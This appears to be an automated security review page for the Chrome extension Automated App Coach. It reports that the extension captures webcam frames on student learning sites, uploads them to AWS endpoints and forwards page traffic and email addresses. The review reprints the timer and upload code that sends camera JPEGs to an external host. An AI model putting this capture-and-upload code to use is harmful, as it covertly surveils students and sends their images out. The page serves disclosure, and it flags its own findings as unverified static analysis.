Is Automated App Coach safe?

Medium risk

Automated App Coach captures webcam frames and page traffic on education sites and sends them to its AWS endpoints.

On IXL, ReadTheory, Khan Academy and similar sites, a content script takes a webcam JPEG every 10 seconds once a server WebSocket session starts, subject to the browser's camera prompt, and posts it to an AWS API Gateway endpoint. The extension also wraps page fetch and XHR calls and forwards request and response bodies, the student's Google profile email, tab URL and question content to a second AWS endpoint.

devfactory-app-publishersv0.4.2Chrome Web Store
49Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Extension uploads a webcam frame to an AWS endpoint every 10 seconds

Code analysis shows that after a WebSocket session starts, the extension asks a learning-site tab to capture a camera frame every 10 seconds and POSTs it as a JPEG to an AWS API Gateway endpoint.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

A WebSocket message with a connection ID arrives while a supported learning site is open.

Supported sites are IXL, ReadTheory, Khan Academy and egumpp.

The extension did this

A timer asks that tab for a camera frame every 10 seconds, and each frame is uploaded.

The upload goes to an AWS API Gateway URL ending in the session ID.

Fields sent in each image upload
  • Camera frame
    /9j/4AAQSkZJRgABAQAAAQABAAD... (base64 JPEG, illustrative)

    A JPEG of what the camera sees, drawn at screen size, so it can show the person and their surroundings.

  • Timestamp
    2026-09-30T14:05:10.123Z

    When the frame was captured.

  • Session ID in the URL
    https://ydjdgloa38.execute-api.us-east-1.amazonaws.com/Prod/image/Kx3mQ9aZEXAMPLE=

    Ties each image to the WebSocket session that triggered it.

The code that does this

Timer in the background script and capture in the content script

Readable version

10 second timer

background.js
timer = setInterval(async () => {  const tabIds = (await chrome.tabs.query({})).map(t => t.id);  if (!tabIds.includes(targetTabId)) {    const tabs = await chrome.tabs.query({url: ["https://*.ixl.com/*", "https://readtheory.org/*", "https://www.khanacademy.org/*", "https://*.egumpp.com/*"]});    targetTabId = tabs.length ? tabs[0].id : undefined;  }  if (targetTabId) chrome.tabs.sendMessage(targetTabId, {type: 'click-image'});}, 10000);await chrome.storage.local.set({sessionId: connectionId});

Capture and upload

clickimage.js
async function grabFrame() {  canvas.getContext('2d').drawImage(video, 0, 0, canvas.width, canvas.height);  return canvas.toDataURL('image/jpeg');}function upload(dataUrl) {  chrome.storage.local.get('sessionId').then(({sessionId}) => {    fetch('https://ydjdgloa38.execute-api.us-east-1.amazonaws.com/Prod/image/' + sessionId, {      method: 'POST',      headers: {'Content-Type': 'application/json'},      body: JSON.stringify({b64Image: dataUrl.replace('data:image/jpeg;base64,', ''), timestamp: new Date().toISOString()})    });  });}
Hosts contacted by this code path
    • 3niseaqf9l.execute-api.us-east-1.amazonaws.com

    WebSocket endpoint whose messages start the 10 second timer.

    • ydjdgloa38.execute-api.us-east-1.amazonaws.com

    Receives each base64 JPEG camera frame via POST.

Scope of this evidence

The browser asks for camera permission per origin before the first capture. We have not captured a live upload; this finding rests on the shipped code.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed Automated App Coach contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • alyejv8u8h.execute-api.us-east-1.amazonaws.com

    Automated App Coach sends data to alyejv8u8h.execute-api.us-east-1.amazonaws.com. No other extension we have analysed sends data here.

  • ydjdgloa38.execute-api.us-east-1.amazonaws.com

    Automated App Coach sends data to ydjdgloa38.execute-api.us-east-1.amazonaws.com. No other extension we have analysed sends data here.

Updated 15 October 2026adhjpaicdpnchoggbnafkdghdodcmgge